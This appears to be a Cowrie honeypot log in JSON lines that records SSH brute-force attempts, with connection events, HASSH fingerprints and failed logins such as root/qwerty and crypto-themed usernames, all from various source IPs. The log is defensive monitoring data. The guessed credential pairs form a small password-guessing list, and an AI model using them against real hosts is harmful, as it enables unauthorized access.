{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:29.793309Z","src_ip":"132.148.155.138","session":"ec4a0276930b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitcoinwallet","password":"bitcoin123","message":"login attempt [bitcoinwallet/bitcoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:29.988515Z","src_ip":"132.148.155.138","session":"ec4a0276930b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:30.297728Z","src_ip":"198.57.219.18","session":"39a5ad7b26ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:28:31.056503Z","src_ip":"132.148.155.138","session":"ec4a0276930b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.96441578865051,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:02.121457Z","src_ip":"137.184.5.188","session":"307fdc7b2c5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":39186,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3e4b30d381","protocol":"ssh","message":"New connection: 162.241.239.241:39186 (10.17.0.5:22) [session: fc3e4b30d381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:16.989809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:16.994349Z","src_ip":"162.241.239.241","session":"fc3e4b30d381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:17.019700Z","src_ip":"162.241.239.241","session":"fc3e4b30d381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#$%^&*()!@","message":"login attempt [root/admin@#$%^&*()!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:17.095139Z","src_ip":"162.241.239.241","session":"fc3e4b30d381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:18.123210Z","src_ip":"162.241.239.241","session":"fc3e4b30d381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":55046,"dst_ip":"10.17.0.5","dst_port":22,"session":"15583d6b79fb","protocol":"ssh","message":"New connection: 162.144.213.198:55046 (10.17.0.5:22) [session: 15583d6b79fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:37.732434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:37.738842Z","src_ip":"162.144.213.198","session":"15583d6b79fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:37.824816Z","src_ip":"162.144.213.198","session":"15583d6b79fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"S0c1@lF1$M@st3r@P@ss","message":"login attempt [root/S0c1@lF1$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:38.071891Z","src_ip":"162.144.213.198","session":"15583d6b79fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:39.155263Z","src_ip":"162.144.213.198","session":"15583d6b79fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":41692,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ef10b2af3a0","protocol":"ssh","message":"New connection: 91.92.40.176:41692 (10.17.0.5:22) [session: 4ef10b2af3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:41.505257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:41.637950Z","src_ip":"91.92.40.176","session":"4ef10b2af3a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:41.640442Z","src_ip":"91.92.40.176","session":"4ef10b2af3a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:43.592580Z","src_ip":"91.92.40.176","session":"4ef10b2af3a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:29:44.893559Z","src_ip":"91.92.40.176","session":"4ef10b2af3a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":39428,"dst_ip":"10.17.0.5","dst_port":22,"session":"239a73f5271b","protocol":"ssh","message":"New connection: 143.20.185.207:39428 (10.17.0.5:22) [session: 239a73f5271b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:01.820086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:01.829015Z","src_ip":"143.20.185.207","session":"239a73f5271b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:01.947517Z","src_ip":"143.20.185.207","session":"239a73f5271b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS#4VCPU8GBAMD","message":"login attempt [root/RASYAXINSAVPS#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:02.446108Z","src_ip":"143.20.185.207","session":"239a73f5271b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:03.600689Z","src_ip":"143.20.185.207","session":"239a73f5271b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":50404,"dst_ip":"159.203.135.109","dst_port":22,"session":"2048f11d7dac","protocol":"ssh","message":"New connection: 162.144.64.128:50404 (159.203.135.109:22) [session: 2048f11d7dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:28.733819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:28.737536Z","src_ip":"162.144.64.128","session":"2048f11d7dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:28.819562Z","src_ip":"162.144.64.128","session":"2048f11d7dac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bahrain","password":"BH#Ethereum@S3cur3!","message":"login attempt [bahrain/BH#Ethereum@S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:29.066505Z","src_ip":"162.144.64.128","session":"2048f11d7dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:32.156303Z","src_ip":"162.144.64.128","session":"2048f11d7dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":36946,"dst_ip":"159.203.135.109","dst_port":22,"session":"e70b7ebf35cd","protocol":"ssh","message":"New connection: 80.66.85.226:36946 (159.203.135.109:22) [session: e70b7ebf35cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:47.883557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:47.887296Z","src_ip":"80.66.85.226","session":"e70b7ebf35cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:47.970620Z","src_ip":"80.66.85.226","session":"e70b7ebf35cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yahnox75","message":"login attempt [root/yahnox75] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:48.221334Z","src_ip":"80.66.85.226","session":"e70b7ebf35cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:49.307074Z","src_ip":"80.66.85.226","session":"e70b7ebf35cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":49194,"dst_ip":"10.17.0.5","dst_port":22,"session":"760c39a8256c","protocol":"ssh","message":"New connection: 198.1.93.192:49194 (10.17.0.5:22) [session: 760c39a8256c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:55.981343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:55.985319Z","src_ip":"198.1.93.192","session":"760c39a8256c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:56.067126Z","src_ip":"198.1.93.192","session":"760c39a8256c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"socialfi123","password":"socialfi123","message":"login attempt [socialfi123/socialfi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:56.322032Z","src_ip":"198.1.93.192","session":"760c39a8256c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:30:57.406841Z","src_ip":"198.1.93.192","session":"760c39a8256c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":49348,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0a427aa392b","protocol":"ssh","message":"New connection: 198.1.75.59:49348 (159.203.135.109:22) [session: b0a427aa392b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:06.385226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:31:06.389206Z","src_ip":"198.1.75.59","session":"b0a427aa392b","protocol":"ssh"}
